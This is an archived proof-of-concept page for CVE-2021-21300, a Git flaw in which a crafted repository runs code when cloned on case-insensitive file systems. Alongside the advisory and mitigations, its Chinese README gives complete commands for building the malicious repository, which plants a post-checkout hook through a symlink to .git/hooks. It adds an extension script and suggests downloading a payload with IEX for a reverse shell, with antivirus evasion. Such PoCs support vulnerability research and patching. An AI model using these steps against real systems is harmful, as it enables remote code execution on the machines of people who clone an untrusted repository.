Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-21300 PoC — malicious repositories can execute remote code while cloning

Source
Associated Vulnerability
Title:malicious repositories can execute remote code while cloning (CVE-2021-21300)
Description:Git is an open-source distributed revision control system. In affected versions of Git a specially crafted repository that contains symbolic links as well as files using a clean/smudge filter such as Git LFS, may cause just-checked out script to be executed while cloning onto a case-insensitive file system such as NTFS, HFS+ or APFS (i.e. the default file systems on Windows and macOS). Note that clean/smudge filters have to be configured for that. Git for Windows configures Git LFS by default, and is therefore vulnerable. The problem has been patched in the versions published on Tuesday, March 9th, 2021. As a workaound, if symbolic link support is disabled in Git (e.g. via `git config --global core.symlinks false`), the described attack won't work. Likewise, if no clean/smudge filters such as Git LFS are configured globally (i.e. _before_ cloning), the attack is foiled. As always, it is best to avoid cloning repositories from untrusted sources. The earliest impacted version is 2.14.2. The fix versions are: 2.30.1, 2.29.3, 2.28.1, 2.27.1, 2.26.3, 2.25.5, 2.24.4, 2.23.4, 2.22.5, 2.21.4, 2.20.5, 2.19.6, 2.18.5, 2.17.62.17.6.
Readme
# CVE-2021-21300

git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意 仓库时可能导致远程命令执行 。

## 受影响版本

从 2.15 至 现有的 2.30.1

## 解决方案

1、升级版本

2、如下

禁用git 的symlink: git config --global core.symlinks false

禁用 process filter (通常是 LFS 使用此功能),可以通过 git config --show-scope --get-regexp 'filter\..*\.process 查看


## 触发条件:

1、仓库中存在同名的链接符号 和目录

2、符号链接 指向特殊目录 (目前看来是.git/hooks)

3、受害机需要有足够权限执行恶意命令

# 复现

## 01 环境准备

### ①仓库准备:

系统:ubuntux64

需安装 git、git-lfs

执行 git lfs install命令可能会报错

Error: Failed to call git rev-parse --git-dir: exit status 128

可以忽略

出现Git LFS initialized.即完成安装

### ②受害机:

系统:win10x64

git for window :Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

git for window 的安装全为默认即可

## 02 恶意仓库准备

### ①在github新建仓库:

网上相应教程很多,不赘述

### ②在ubuntu构建恶意仓库并上传到github:

执行命令如下

```
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
```

## 03 攻击测试

在win10提供的**powershell(管理员)**中执行命令如下:

git clone -c core.symlinks=true [自己的仓库地址]

clone后出现 PWNED 即为远程命令执行成功

可见,在clone时,执行了post-checkout文件中的命令。

思路是使用IEX下载脚本,然后通过kali监听获取shell,但大多数脚本都会被识别阻止,通过免杀绕过应该能够实现。

## 04 扩展利用

在目录中添加脚本文件hack.sh

内容如下

```
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
```

修改post-checkout中执行的命令以执行脚本

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

File Snapshot

[4.0K] /data/pocs/2cf2cf2689f5e36d74a124e3d1670861b65f107f ├── [ 10] a -> .git/hooks ├── [4.0K] A │   ├── [ 0] a │   ├── [ 0] b │   └── [ 22] post-checkout ├── [ 159] hack.sh └── [2.5K] README.md 2 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →